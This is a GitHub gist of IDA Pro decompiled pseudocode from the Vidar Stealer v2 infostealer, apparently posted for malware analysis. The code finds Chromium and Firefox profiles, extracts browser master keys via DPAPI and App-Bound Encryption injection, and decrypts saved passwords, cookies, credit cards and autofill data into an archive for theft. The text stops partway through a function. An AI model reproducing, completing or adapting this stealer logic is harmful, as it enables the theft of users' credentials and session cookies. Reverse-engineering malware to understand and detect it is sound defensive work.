Created
February 27, 2026 13:30
-
-
Save shavitush/1fdb39ea117b9ba805367608bc07a3b4 to your computer and use it in GitHub Desktop.
Vidar Stealer v2's Chromium infostealer
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // decomp with IDA Pro 9.3 | |
| // positive sp value has been detected, the output may be wrong! | |
| __int64 process_browsers() | |
| { | |
| __int64 v0; // rcx | |
| __int64 v1; // rbx | |
| _BYTE *v2; // rbp | |
| unsigned int v3; // esi | |
| int v4; // r12d | |
| HANDLE FirstFileW; // rbp | |
| char *v7; // rax | |
| char *v8; // rcx | |
| char *v9; // r9 | |
| _DWORD *v10; // rdi | |
| __int64 v11; // rdx | |
| unsigned __int64 n0xE; // rax | |
| unsigned __int8 v13; // dl | |
| unsigned __int8 v14; // r10 | |
| wchar_t *buf_1; // r8 | |
| __int64 v16; // r11 | |
| __int64 i; // rcx | |
| unsigned __int8 v18; // dl | |
| int i_1; // edx | |
| const char *v20; // [rsp+68h] [rbp-13E10h] | |
| _DWORD *v21; // [rsp+88h] [rbp-13DF0h] | |
| unsigned int v22; // [rsp+A0h] [rbp-13DD8h] BYREF | |
| unsigned int v23; // [rsp+A4h] [rbp-13DD4h] BYREF | |
| void *v24; // [rsp+A8h] [rbp-13DD0h] | |
| void *v25; // [rsp+B0h] [rbp-13DC8h] BYREF | |
| void *v26; // [rsp+B8h] [rbp-13DC0h] BYREF | |
| CHAR lpMultiByteStr[64]; // [rsp+C0h] [rbp-13DB8h] BYREF | |
| const char *Buffer_4[34]; // [rsp+100h] [rbp-13D78h] BYREF | |
| wchar_t Buffer[264]; // [rsp+210h] [rbp-13C68h] BYREF | |
| WCHAR pszPath[264]; // [rsp+420h] [rbp-13A58h] BYREF | |
| wchar_t Buffer_1[264]; // [rsp+630h] [rbp-13848h] BYREF | |
| wchar_t Buffer_2[264]; // [rsp+840h] [rbp-13638h] BYREF | |
| struct _WIN32_FIND_DATAW lpFindFileData_; // [rsp+A50h] [rbp-13428h] BYREF | |
| wchar_t buf[328]; // [rsp+CA0h] [rbp-131D8h] BYREF | |
| WCHAR Buffer_3[528]; // [rsp+F30h] [rbp-12F48h] BYREF | |
| char v36[64]; // [rsp+1350h] [rbp-12B28h] BYREF | |
| int v37; // [rsp+1390h] [rbp-12AE8h] | |
| int v38; // [rsp+1394h] [rbp-12AE4h] | |
| int v39; // [rsp+1398h] [rbp-12AE0h] | |
| _BYTE v40[50688]; // [rsp+7820h] [rbp-C658h] BYREF | |
| int v41; // [rsp+13E20h] [rbp-58h] | |
| sub_140027320(); | |
| v1 = v0; | |
| if ( !(unsigned int)sub_1400109E0() ) | |
| { | |
| log("[!] AES-GCM init failed\n"); | |
| LABEL_28: | |
| v3 = 0; | |
| log("[!] Browser decrypt init failed\n"); | |
| return v3; | |
| } | |
| if ( !(unsigned int)sub_140013300() ) | |
| { | |
| log("[!] SQLite init failed\n"); | |
| goto LABEL_28; | |
| } | |
| v2 = v40; | |
| v3 = 0; | |
| log("[*] === Client-side browser decryption ===\n"); | |
| ((void (__fastcall *)(_BYTE *))sub_1400067A0)(v40); | |
| log("[#] Found %d Chromium browsers\n", v41); | |
| if ( v41 > 0 ) | |
| { | |
| v4 = 0; | |
| v3 = 0; | |
| do | |
| { | |
| log("[*] Processing: %s\n", *(const char **)(*(_QWORD *)v2 + 8LL)); | |
| if ( (unsigned int)process_chrome_abe() ) | |
| { | |
| ++v3; | |
| log("[+] %s: %d passwords, %d cookies, %d cards\n", v36, v37, v38, v39); | |
| } | |
| ++v4; | |
| v2 += 1056; | |
| } | |
| while ( v41 > v4 ); | |
| } | |
| if ( !SHGetFolderPathW(nullptr, 26, nullptr, 0, pszPath) ) | |
| { | |
| _snwprintf_s(Buffer, 0x104u, 0xFFFFFFFFFFFFFFFFuLL, L"%s\\Mozilla\\Firefox\\Profiles", pszPath); | |
| _snwprintf_s(Buffer_1, 0x104u, 0xFFFFFFFFFFFFFFFFuLL, L"%s\\*", Buffer); | |
| FirstFileW = FindFirstFileW(Buffer_1, &lpFindFileData_); | |
| if ( FirstFileW != (HANDLE)-1LL ) | |
| { | |
| do | |
| { | |
| if ( (lpFindFileData_.dwFileAttributes & FILE_WRITE_EA) != 0 | |
| && wcscmp(lpFindFileData_.cFileName, L".") | |
| && wcscmp(lpFindFileData_.cFileName, asc_140079A26) ) | |
| { | |
| _snwprintf_s(Buffer_2, 0x104u, 0xFFFFFFFFFFFFFFFFuLL, L"%s\\%s", Buffer, lpFindFileData_.cFileName); | |
| WideCharToMultiByte(0xFDE9u, 0, lpFindFileData_.cFileName, -1, lpMultiByteStr, 64, nullptr, nullptr); | |
| Buffer_4[0] = nullptr; | |
| LODWORD(v26) = 0; | |
| _snwprintf_s(Buffer_3, 0x104u, 0xFFFFFFFFFFFFFFFFuLL, L"%s\\compatibility.ini", Buffer_2); | |
| if ( (unsigned int)sub_140007F50(Buffer_3) ) | |
| { | |
| v20 = Buffer_4[0]; | |
| v7 = strstr(Buffer_4[0], "LastVersion="); | |
| v8 = (char *)v20; | |
| v9 = v7; | |
| if ( v7 ) | |
| { | |
| memset(buf, 0, 64); | |
| v11 = -9218; | |
| n0xE = (unsigned __int8)v7[12]; | |
| v13 = _bittest64(&v11, n0xE); | |
| if ( (unsigned __int8)n0xE >= 0xEu ) | |
| v13 = 1; | |
| v14 = v13 & ((_BYTE)n0xE != 95); | |
| if ( v14 ) | |
| { | |
| buf_1 = buf; | |
| v16 = -9218; | |
| for ( i = 1; i != 64; ++i ) | |
| { | |
| *(_BYTE *)buf_1 = n0xE; | |
| n0xE = (unsigned __int8)v9[i + 12]; | |
| v18 = _bittest64(&v16, n0xE); | |
| if ( (unsigned __int8)n0xE >= 0xEu ) | |
| v18 = v14; | |
| if ( (_BYTE)n0xE == 95 || !v18 ) | |
| { | |
| i_1 = i; | |
| v8 = (char *)v20; | |
| goto LABEL_45; | |
| } | |
| buf_1 = (wchar_t *)((char *)buf_1 + 1); | |
| } | |
| v8 = (char *)v20; | |
| i_1 = 63; | |
| } | |
| else | |
| { | |
| i_1 = 0; | |
| } | |
| LABEL_45: | |
| *((_BYTE *)buf + i_1) = 0; | |
| if ( LOBYTE(buf[0]) ) | |
| { | |
| log("[#] Firefox version: %s\n", (const char *)buf); | |
| v8 = (char *)Buffer_4[0]; | |
| } | |
| } | |
| free(v8); | |
| } | |
| v24 = nullptr; | |
| _snwprintf_s(Buffer_3, 0x104u, 0xFFFFFFFFFFFFFFFFuLL, L"%s\\cookies.sqlite", Buffer_2); | |
| if ( (unsigned int)sub_140007F50(Buffer_3) ) | |
| { | |
| log("[#] Firefox cookies.sqlite: %d bytes\n", 0); | |
| v21 = (_DWORD *)((__int64 (__fastcall *)(void *, _QWORD))sub_14000B8B0)(v24, 0); | |
| free(v24); | |
| if ( v21 ) | |
| { | |
| log("[#] Firefox parsed cookies: %d\n", v21[2]); | |
| if ( (int)v21[2] > 0 ) | |
| { | |
| v25 = nullptr; | |
| v22 = 0; | |
| if ( (unsigned int)((__int64 (__fastcall *)(_DWORD *, void **, unsigned int *))sub_140011900)( | |
| v21, | |
| &v25, | |
| &v22) ) | |
| { | |
| _snprintf_s( | |
| (char *const)Buffer_4, | |
| 0x104u, | |
| 0xFFFFFFFFFFFFFFFFuLL, | |
| "Browser/JsonFormat/Firefox/%s/cookies.json", | |
| lpMultiByteStr); | |
| ((void (__fastcall *)(__int64, void *, _QWORD, const char **))sub_140001480)(v1, v25, v22, Buffer_4); | |
| free(v25); | |
| } | |
| v26 = nullptr; | |
| v23 = 0; | |
| if ( (unsigned int)((__int64 (__fastcall *)(_DWORD *, void **, unsigned int *))sub_140012190)( | |
| v21, | |
| &v26, | |
| &v23) ) | |
| { | |
| ((void (__fastcall *)(const char *, CHAR *, wchar_t *))sub_14000BC80)("Firefox", lpMultiByteStr, buf); | |
| _snprintf_s( | |
| (char *const)Buffer_4, | |
| 0x104u, | |
| 0xFFFFFFFFFFFFFFFFuLL, | |
| "Browser/Cookies/%s.txt", | |
| (const char *)buf); | |
| ((void (__fastcall *)(__int64, void *, _QWORD, const char **))sub_140001480)(v1, v26, v23, Buffer_4); | |
| free(v26); | |
| } | |
| log("[#] Firefox/%s: %d cookies\n", lpMultiByteStr, v21[2]); | |
| } | |
| sub_14000B400(v21); | |
| } | |
| else | |
| { | |
| log("[#] Firefox parsed cookies: %d\n", -1); | |
| } | |
| } | |
| else | |
| { | |
| log("[#] Firefox cookies.sqlite: file not readable\n"); | |
| } | |
| v24 = nullptr; | |
| _snwprintf_s(Buffer_3, 0x104u, 0xFFFFFFFFFFFFFFFFuLL, L"%s\\formhistory.sqlite", Buffer_2); | |
| if ( (unsigned int)sub_140007F50(Buffer_3) ) | |
| { | |
| v10 = (_DWORD *)((__int64 (__fastcall *)(void *, _QWORD))sub_14000BB20)(v24, 0); | |
| free(v24); | |
| if ( v10 ) | |
| { | |
| if ( (int)v10[2] > 0 ) | |
| { | |
| v25 = nullptr; | |
| v22 = 0; | |
| if ( (unsigned int)((__int64 (__fastcall *)(_DWORD *, void **, unsigned int *))sub_140011F30)( | |
| v10, | |
| &v25, | |
| &v22) ) | |
| { | |
| _snprintf_s( | |
| (char *const)Buffer_4, | |
| 0x104u, | |
| 0xFFFFFFFFFFFFFFFFuLL, | |
| "Browser/JsonFormat/Firefox/%s/autofills.json", | |
| lpMultiByteStr); | |
| ((void (__fastcall *)(__int64, void *, _QWORD, const char **))sub_140001480)(v1, v25, v22, Buffer_4); | |
| free(v25); | |
| } | |
| v26 = nullptr; | |
| v23 = 0; | |
| if ( (unsigned int)((__int64 (__fastcall *)(_DWORD *, void **, unsigned int *))sub_140012880)( | |
| v10, | |
| &v26, | |
| &v23) ) | |
| { | |
| ((void (__fastcall *)(const char *, CHAR *, wchar_t *))sub_14000BC80)("Firefox", lpMultiByteStr, buf); | |
| _snprintf_s( | |
| (char *const)Buffer_4, | |
| 0x104u, | |
| 0xFFFFFFFFFFFFFFFFuLL, | |
| "Browser/Autofills/%s.txt", | |
| (const char *)buf); | |
| ((void (__fastcall *)(__int64, void *, _QWORD, const char **))sub_140001480)(v1, v26, v23, Buffer_4); | |
| free(v26); | |
| } | |
| log("[#] Firefox/%s: %d autofills\n", lpMultiByteStr, v10[2]); | |
| } | |
| sub_14000B4A0(v10); | |
| } | |
| } | |
| memset(Buffer_3, 0, sizeof(Buffer_3)); | |
| memset(buf, 0, 0x288u); | |
| wcsncpy_s(buf, 0x104u, Buffer_2, 0xFFFFFFFFFFFFFFFFuLL); | |
| wcsncpy_s(&buf[260], 0x40u, lpFindFileData_.cFileName, 0xFFFFFFFFFFFFFFFFuLL); | |
| if ( (unsigned int)((__int64 (__fastcall *)(WCHAR *, wchar_t *, __int64, const char *))sub_140008160)( | |
| Buffer_3, | |
| buf, | |
| v1, | |
| "Browser/JsonFormat/Firefox") ) | |
| log("[+] Firefox/%s: passwords decrypted via NSS\n", lpMultiByteStr); | |
| } | |
| } | |
| while ( FindNextFileW(FirstFileW, &lpFindFileData_) ); | |
| FindClose(FirstFileW); | |
| } | |
| } | |
| sub_1400134C0(); | |
| sub_140010A80(); | |
| log("[*] Browsers processed: %d\n", v3); | |
| return v3; | |
| } | |
| // positive sp value has been detected, the output may be wrong! | |
| __int64 process_chrome_abe() | |
| { | |
| const WCHAR *v0; // rcx | |
| int v1; // r8d | |
| int v2; // r12d | |
| CHAR *v3; // rdx | |
| __m128i *v4; // rbx | |
| _DWORD *Destination_1; // r9 | |
| const WCHAR *v6; // r15 | |
| int v7; // esi | |
| __m128i *buf_3; // rax | |
| __m128i *buf_4; // rax | |
| int (*__imp__snwprintf_s)(wchar_t *const, const size_t, const size_t, const wchar_t *const, ...); // r13 | |
| int v11; // r14d | |
| wchar_t *Buffer_2; // rbp | |
| int *v13; // r15 | |
| int v14; // esi | |
| int *v15; // rbx | |
| int v16; // eax | |
| __int64 v18; // rax | |
| void *v19; // rcx | |
| __int64 v20; // rax | |
| void *v21; // rcx | |
| int *v22; // rax | |
| int v23; // r12d | |
| const char *v24; // r13 | |
| int n100; // ebp | |
| const char *v26; // r9 | |
| int v27; // edi | |
| unsigned int v28; // edi | |
| _DWORD *v29; // rsi | |
| void *v30; // r10 | |
| int *v31; // rax | |
| int v32; // eax | |
| int *v33; // r10 | |
| int v34; // eax | |
| int *v35; // r10 | |
| int v36; // r14d | |
| int v37; // ebx | |
| __int64 v38; // rbp | |
| int *v39; // r13 | |
| __int64 v40; // rsi | |
| _QWORD *v41; // rcx | |
| char *v42; // rsi | |
| int v43; // eax | |
| int v44; // edx | |
| int v45; // esi | |
| void *v46; // rax | |
| int *v47; // rax | |
| int v48; // eax | |
| int *v49; // r10 | |
| int v50; // ebx | |
| __int64 v51; // rbp | |
| int *v52; // r13 | |
| __int64 v53; // rsi | |
| _QWORD *v54; // rcx | |
| char *v55; // rsi | |
| int v56; // eax | |
| int v57; // edx | |
| int v58; // esi | |
| void *v59; // rax | |
| void *v60; // r10 | |
| __m128i v61; // xmm2 | |
| __int64 v62; // rax | |
| __int64 v63; // rax | |
| _DWORD *v64; // rbx | |
| int v65; // eax | |
| __int64 v66; // r10 | |
| int v67; // eax | |
| int *v68; // r10 | |
| int v69; // ebx | |
| __int64 v70; // r12 | |
| int *v71; // r13 | |
| __int64 v72; // rsi | |
| _QWORD *v73; // rcx | |
| char *v74; // rsi | |
| __int64 v75; // rax | |
| int v76; // edx | |
| int v77; // esi | |
| void *v78; // rax | |
| int v79; // eax | |
| int *v80; // r10 | |
| int v81; // eax | |
| int *v82; // r10 | |
| int v83; // ebx | |
| int *v84; // r12 | |
| __int64 v85; // rbp | |
| __int64 v86; // rsi | |
| int v87; // edx | |
| void *dst; // rax | |
| __int64 v89; // rax | |
| int v90; // edx | |
| int v91; // esi | |
| void *v92; // rax | |
| __int64 v93; // rax | |
| int v94; // eax | |
| __int64 v95; // r10 | |
| int v96; // eax | |
| int *v97; // r10 | |
| int v98; // eax | |
| int v99; // eax | |
| int v100; // eax | |
| __int64 v101; // r10 | |
| int *v102; // rcx | |
| int v103; // eax | |
| int *v104; // r10 | |
| int v105; // eax | |
| int *v106; // r10 | |
| __int64 v107; // rax | |
| int *v108; // [rsp+40h] [rbp-12378h] | |
| unsigned int v109; // [rsp+60h] [rbp-12358h] | |
| int *v110; // [rsp+88h] [rbp-12330h] | |
| int *v111; // [rsp+90h] [rbp-12328h] | |
| int *v112; // [rsp+98h] [rbp-12320h] | |
| __m128i *buf_1; // [rsp+B0h] [rbp-12308h] | |
| void *v114; // [rsp+C8h] [rbp-122F0h] | |
| int *v115; // [rsp+C8h] [rbp-122F0h] | |
| _DWORD *v116; // [rsp+C8h] [rbp-122F0h] | |
| int *v117; // [rsp+C8h] [rbp-122F0h] | |
| int *v118; // [rsp+C8h] [rbp-122F0h] | |
| int v119; // [rsp+C8h] [rbp-122F0h] | |
| int *v120; // [rsp+C8h] [rbp-122F0h] | |
| int *v121; // [rsp+C8h] [rbp-122F0h] | |
| int *v122; // [rsp+C8h] [rbp-122F0h] | |
| __int64 v123; // [rsp+C8h] [rbp-122F0h] | |
| __int64 v124; // [rsp+C8h] [rbp-122F0h] | |
| int *v125; // [rsp+C8h] [rbp-122F0h] | |
| int *v126; // [rsp+C8h] [rbp-122F0h] | |
| int *v127; // [rsp+C8h] [rbp-122F0h] | |
| __int64 v128; // [rsp+C8h] [rbp-122F0h] | |
| int *v129; // [rsp+C8h] [rbp-122F0h] | |
| void *v130; // [rsp+C8h] [rbp-122F0h] | |
| int *v131; // [rsp+C8h] [rbp-122F0h] | |
| int *v132; // [rsp+C8h] [rbp-122F0h] | |
| int *v133; // [rsp+C8h] [rbp-122F0h] | |
| __m128i *v134; // [rsp+D0h] [rbp-122E8h] | |
| int v135; // [rsp+D0h] [rbp-122E8h] | |
| int v136; // [rsp+D0h] [rbp-122E8h] | |
| int v137; // [rsp+D0h] [rbp-122E8h] | |
| wchar_t *Buffer_5; // [rsp+D8h] [rbp-122E0h] | |
| __m128i *v139; // [rsp+D8h] [rbp-122E0h] | |
| __m128i *v140; // [rsp+D8h] [rbp-122E0h] | |
| int (*__imp__snwprintf_s_3)(wchar_t *const, const size_t, const size_t, const wchar_t *const, ...); // [rsp+E0h] [rbp-122D8h] | |
| wchar_t *Buffer_4; // [rsp+E0h] [rbp-122D8h] | |
| __m128i *v143; // [rsp+E0h] [rbp-122D8h] | |
| int (*__imp__snwprintf_s_2)(wchar_t *const, const size_t, const size_t, const wchar_t *const, ...); // [rsp+E8h] [rbp-122D0h] | |
| int (*__imp__snwprintf_s_1)(wchar_t *const, const size_t, const size_t, const wchar_t *const, ...); // [rsp+E8h] [rbp-122D0h] | |
| wchar_t *Buffer_3; // [rsp+E8h] [rbp-122D0h] | |
| unsigned int v147; // [rsp+100h] [rbp-122B8h] BYREF | |
| unsigned int v148; // [rsp+104h] [rbp-122B4h] BYREF | |
| void *v149; // [rsp+108h] [rbp-122B0h] | |
| void *v150; // [rsp+110h] [rbp-122A8h] BYREF | |
| void *v151; // [rsp+118h] [rbp-122A0h] BYREF | |
| _OWORD buf[2]; // [rsp+120h] [rbp-12298h] BYREF | |
| __m128i buf_2[2]; // [rsp+140h] [rbp-12278h] BYREF | |
| void *lpMultiByteStr[8]; // [rsp+160h] [rbp-12258h] BYREF | |
| char Buffer[128]; // [rsp+1A0h] [rbp-12218h] BYREF | |
| void *v156[32]; // [rsp+220h] [rbp-12198h] BYREF | |
| _BYTE Buffer_1[272]; // [rsp+320h] [rbp-12098h] BYREF | |
| void *v158; // [rsp+430h] [rbp-11F88h] BYREF | |
| int v159; // [rsp+438h] [rbp-11F80h] | |
| __m128i v160; // [rsp+640h] [rbp-11D78h] BYREF | |
| __m128i v161; // [rsp+650h] [rbp-11D68h] BYREF | |
| int v162; // [rsp+660h] [rbp-11D58h] | |
| int v163; // [rsp+664h] [rbp-11D54h] | |
| DWORD lpBuffera[1026]; // [rsp+668h] [rbp-11D50h] BYREF | |
| __m128i v165; // [rsp+1670h] [rbp-10D48h] BYREF | |
| __m128i v166; // [rsp+1680h] [rbp-10D38h] BYREF | |
| __int64 v167; // [rsp+1690h] [rbp-10D28h] | |
| int v168; // [rsp+3EF0h] [rbp-E4C8h] | |
| _DWORD v169[6428]; // [rsp+3F00h] [rbp-E4B8h] BYREF | |
| __m128i Buffer_; // [rsp+A370h] [rbp-8048h] BYREF | |
| __m128i v171; // [rsp+A380h] [rbp-8038h] BYREF | |
| __int64 v172; // [rsp+A390h] [rbp-8028h] | |
| __int64 v173; // [rsp+A398h] [rbp-8020h] | |
| __int64 v174; // [rsp+A3A0h] [rbp-8018h] | |
| __int64 v175; // [rsp+A3A8h] [rbp-8010h] | |
| const WCHAR *v176; // [rsp+123C0h] [rbp+8h] | |
| LPSTR v177; // [rsp+123C8h] [rbp+10h] | |
| int v178; // [rsp+123D0h] [rbp+18h] | |
| int v179; // [rsp+123D0h] [rbp+18h] | |
| _DWORD *Destination; // [rsp+123D8h] [rbp+20h] | |
| sub_140027320(); | |
| v176 = v0; | |
| v2 = v1; | |
| v177 = v3; | |
| v4 = &v165; | |
| Destination = Destination_1; | |
| memset(buf, 0, sizeof(buf)); | |
| memset(buf_2, 0, sizeof(buf_2)); | |
| memset(v169, 0, 0x646Cu); | |
| memset(Destination, 0, 0x64C4u); | |
| strncpy((char *)Destination, *(const char **)(*(_QWORD *)v176 + 8LL), 0x3Fu); | |
| _snprintf_s(Buffer, 0x80u, 0xFFFFFFFFFFFFFFFFuLL, "Browser/JsonFormat/%s", *(const char **)(*(_QWORD *)v176 + 8LL)); | |
| v165.m128i_i64[0] = 0; | |
| v160.m128i_i32[0] = 0; | |
| v6 = v176 + 4; | |
| Buffer_ = 0u; | |
| v171 = 0u; | |
| v172 = 0; | |
| v173 = 0; | |
| v174 = 0; | |
| v175 = 0; | |
| if ( (unsigned int)((__int64 (__fastcall *)(const WCHAR *, __m128i *, __m128i *))sub_14000EDA0)( | |
| v176 + 4, | |
| &v165, | |
| &v160) ) | |
| { | |
| if ( (unsigned int)sub_14000FCF0((char *)v165.m128i_i64[0], &Buffer_, 0x40u) ) | |
| log("[#] %s version: %s\n", *(const char **)(*(_QWORD *)v176 + 8LL), Buffer_.m128i_i8); | |
| free((void *)v165.m128i_i64[0]); | |
| } | |
| if ( !(unsigned int)abe_extract_master_key() ) | |
| { | |
| log("[!] %s: Failed to extract master key\n", *(const char **)(*(_QWORD *)v176 + 8LL)); | |
| return 0; | |
| } | |
| v7 = v163; | |
| if ( v163 ) | |
| { | |
| log("[#] %s: ABE format detected\n", *(const char **)(*(_QWORD *)v176 + 8LL)); | |
| v167 = 0; | |
| v165 = 0; | |
| v166 = 0; | |
| if ( (unsigned int)abe_inject_via_pipe(v176, lpBuffera, lpBuffera[1024], (__int64)&v165) ) | |
| { | |
| if ( (_DWORD)v167 ) | |
| { | |
| buf[0] = _mm_loadu_si128(&v165); | |
| v107 = *(_QWORD *)v176; | |
| buf[1] = _mm_loadu_si128(&v166); | |
| log("[+] %s: ABE master key decrypted\n", *(const char **)(v107 + 8)); | |
| } | |
| } | |
| else | |
| { | |
| log("[#] %s: ABE injection failed (error %lu)\n", *(const char **)(*(_QWORD *)v176 + 8LL), HIDWORD(v167)); | |
| } | |
| v7 = ((__int64 (__fastcall *)(const WCHAR *, __m128i *))sub_14000F960)(v6, &Buffer_); | |
| if ( v7 ) | |
| { | |
| v7 = v172; | |
| if ( (_DWORD)v172 ) | |
| { | |
| v7 = 1; | |
| buf_2[0] = _mm_loadu_si128(&Buffer_); | |
| v63 = *(_QWORD *)v176; | |
| buf_2[1] = _mm_loadu_si128(&v171); | |
| log("[#] %s: DPAPI fallback key available\n", *(const char **)(v63 + 8)); | |
| } | |
| } | |
| } | |
| else if ( v162 ) | |
| { | |
| v93 = *(_QWORD *)v176; | |
| buf[0] = _mm_loadu_si128(&v160); | |
| buf[1] = _mm_loadu_si128(&v161); | |
| log("[+] %s: DPAPI master key decrypted\n", *(const char **)(v93 + 8)); | |
| } | |
| buf_3 = (__m128i *)buf; | |
| do | |
| { | |
| if ( buf_3->m128i_i8[0] ) | |
| { | |
| _snprintf_s(Buffer_1, 260, -1, "%s/master_key.bin", Buffer); | |
| ((void (__fastcall *)(LPSTR, _OWORD *, __int64, _BYTE *))sub_140001480)(v177, buf, 32, Buffer_1); | |
| if ( v7 ) | |
| goto LABEL_127; | |
| goto LABEL_10; | |
| } | |
| buf_3 = (__m128i *)((char *)buf_3 + 1); | |
| } | |
| while ( buf_3 != buf_2 ); | |
| if ( !v7 ) | |
| { | |
| log("[!] %s: No valid master key\n", *(const char **)(*(_QWORD *)v176 + 8LL)); | |
| return 0; | |
| } | |
| v61 = _mm_loadu_si128(&buf_2[1]); | |
| v62 = *(_QWORD *)v176; | |
| buf[0] = _mm_loadu_si128(buf_2); | |
| buf[1] = v61; | |
| log("[#] %s: Using DPAPI fallback as primary key\n", *(const char **)(v62 + 8)); | |
| _snprintf_s(Buffer_1, 260, -1, "%s/master_key.bin", Buffer); | |
| ((void (__fastcall *)(LPSTR, _OWORD *, __int64, _BYTE *))sub_140001480)(v177, buf, 32, Buffer_1); | |
| LABEL_127: | |
| _snprintf_s(Buffer_1, 260, -1, "%s/fallback_key.bin", Buffer); | |
| ((void (__fastcall *)(LPSTR, __m128i *, __int64, _BYTE *))sub_140001480)(v177, buf_2, 32, Buffer_1); | |
| LABEL_10: | |
| ((void (__fastcall *)(const WCHAR *, __m128i *))sub_140007270)(v176, &v165); | |
| log("[#] %s: %d profiles found\n", *(const char **)(*(_QWORD *)v176 + 8LL), v168); | |
| if ( v168 <= 0 ) | |
| { | |
| v108 = nullptr; | |
| __imp__snwprintf_s = (void (*)(wchar_t *const, const size_t, const size_t, const wchar_t *const, ...))_snwprintf_s; | |
| Buffer_2 = (wchar_t *)&v158; | |
| v111 = nullptr; | |
| v110 = nullptr; | |
| v112 = nullptr; | |
| v109 = 0; | |
| goto LABEL_25; | |
| } | |
| buf_4 = nullptr; | |
| if ( (v7 & 1) != 0 ) | |
| buf_4 = buf_2; | |
| v111 = nullptr; | |
| v110 = nullptr; | |
| __imp__snwprintf_s = (void (*)(wchar_t *const, const size_t, const size_t, const wchar_t *const, ...))_snwprintf_s; | |
| v11 = 0; | |
| Buffer_2 = (wchar_t *)&v158; | |
| buf_1 = buf_4; | |
| v112 = nullptr; | |
| v109 = 0; | |
| v13 = nullptr; | |
| do | |
| { | |
| WideCharToMultiByte(0xFDE9u, 0, &v4[32].m128i_u16[4], -1, (LPSTR)lpMultiByteStr, 64, nullptr, nullptr); | |
| v149 = nullptr; | |
| if ( (v2 & 1) == 0 | |
| || (__imp__snwprintf_s(Buffer_2, 0x104u, 0xFFFFFFFFFFFFFFFFuLL, L"%s\\Login Data", v4), | |
| !(unsigned int)sub_140007F50(Buffer_2)) ) | |
| { | |
| v14 = 0; | |
| if ( (v2 & 2) == 0 ) | |
| goto LABEL_16; | |
| goto LABEL_56; | |
| } | |
| v18 = sub_1400092A0((_DWORD)v149, 0, (unsigned int)buf, buf_1, (__int64)v169); | |
| if ( !v18 ) | |
| { | |
| log("[!] %s/%s: Login Data parse FAILED\n", Buffer, (const char *)lpMultiByteStr); | |
| LABEL_173: | |
| v19 = v149; | |
| v14 = 0; | |
| goto LABEL_55; | |
| } | |
| if ( *(int *)(v18 + 8) <= 0 ) | |
| { | |
| v114 = (void *)v18; | |
| if ( v169[16] <= 0 ) | |
| { | |
| v14 = 0; | |
| log("[#] %s/%s: Login Data empty (0 passwords)\n", Buffer, (const char *)lpMultiByteStr); | |
| sub_14000B3A0(v114); | |
| v19 = v149; | |
| goto LABEL_55; | |
| } | |
| log("[!] %s/%s: %d passwords in DB, 0 decrypted - sending raw\n", Buffer, (const char *)lpMultiByteStr, v169[16]); | |
| sub_14000B3A0(v114); | |
| goto LABEL_173; | |
| } | |
| v150 = nullptr; | |
| v147 = 0; | |
| v124 = v18; | |
| v65 = ((__int64 (__fastcall *)(__int64, void **, unsigned int *))sub_1400116E0)(v18, &v150, &v147); | |
| v66 = v124; | |
| v14 = v65; | |
| if ( v65 ) | |
| { | |
| _snprintf_s(Buffer_.m128i_i8, 520, -1, "%s/%s/passwords.json", Buffer, lpMultiByteStr); | |
| v94 = ((__int64 (__fastcall *)(LPSTR, void *, _QWORD, __m128i *))sub_140001480)(v177, v150, v147, &Buffer_); | |
| v95 = v124; | |
| v14 = v94; | |
| if ( v94 == 1 ) | |
| { | |
| log("[+] %s/%s: %d passwords decrypted\n", Buffer, (const char *)lpMultiByteStr, *(_DWORD *)(v124 + 8)); | |
| v95 = v124; | |
| } | |
| else | |
| { | |
| v14 = 0; | |
| } | |
| v128 = v95; | |
| free(v150); | |
| v66 = v128; | |
| } | |
| v125 = (int *)v66; | |
| v151 = nullptr; | |
| v148 = 0; | |
| v67 = ((__int64 (__fastcall *)(__int64, void **, unsigned int *))sub_140012AF0)(v66, &v151, &v148); | |
| v68 = v125; | |
| if ( v67 ) | |
| { | |
| ((void (__fastcall *)(_QWORD, void **, void **))sub_14000BC80)( | |
| *(_QWORD *)(*(_QWORD *)v176 + 8LL), | |
| lpMultiByteStr, | |
| v156); | |
| _snprintf_s(Buffer_.m128i_i8, 520, -1, "Browser/Logins/%s.txt", v156); | |
| ((void (__fastcall *)(LPSTR, void *, _QWORD, __m128i *))sub_140001480)(v177, v151, v148, &Buffer_); | |
| free(v151); | |
| v68 = v125; | |
| } | |
| if ( v112 ) | |
| { | |
| if ( v68[2] > 0 ) | |
| { | |
| v140 = v4; | |
| v69 = 0; | |
| v178 = v2; | |
| v70 = 0; | |
| __imp__snwprintf_s_1 = __imp__snwprintf_s; | |
| v71 = v68; | |
| v136 = v14; | |
| do | |
| { | |
| while ( 1 ) | |
| { | |
| v75 = v112[2]; | |
| v76 = v112[3]; | |
| if ( (int)v75 >= v76 ) | |
| { | |
| v77 = 2 * v76; | |
| v78 = realloc(*(void **)v112, 5120LL * v76); | |
| if ( v78 ) | |
| { | |
| *(_QWORD *)v112 = v78; | |
| v112[3] = v77; | |
| } | |
| else | |
| { | |
| v77 = v112[3]; | |
| } | |
| v75 = v112[2]; | |
| if ( (int)v75 >= v77 ) | |
| break; | |
| } | |
| v72 = *(_QWORD *)v71; | |
| ++v69; | |
| v112[2] = v75 + 1; | |
| v73 = (_QWORD *)(*(_QWORD *)v112 + 2560 * v75); | |
| v74 = (char *)(v70 + v72); | |
| v70 += 2560; | |
| *v73 = *(_QWORD *)v74; | |
| v73[319] = *((_QWORD *)v74 + 319); | |
| qmemcpy( | |
| (void *)((unsigned __int64)(v73 + 1) & 0xFFFFFFFFFFFFFFF8uLL), | |
| (const void *)(v74 - ((char *)v73 - ((unsigned __int64)(v73 + 1) & 0xFFFFFFFFFFFFFFF8uLL))), | |
| 8LL * (((unsigned int)v73 - (((_DWORD)v73 + 8) & 0xFFFFFFF8) + 2560) >> 3)); | |
| if ( v69 >= v71[2] ) | |
| goto LABEL_151; | |
| } | |
| ++v69; | |
| v70 += 2560; | |
| } | |
| while ( v69 < v71[2] ); | |
| LABEL_151: | |
| v68 = v71; | |
| v14 = v136; | |
| v4 = v140; | |
| v2 = v178; | |
| __imp__snwprintf_s = __imp__snwprintf_s_1; | |
| } | |
| v126 = v68; | |
| free(*(void **)v68); | |
| free(v126); | |
| } | |
| else | |
| { | |
| v112 = v68; | |
| } | |
| v19 = v149; | |
| LABEL_55: | |
| free(v19); | |
| v149 = nullptr; | |
| if ( (v2 & 2) == 0 ) | |
| goto LABEL_16; | |
| LABEL_56: | |
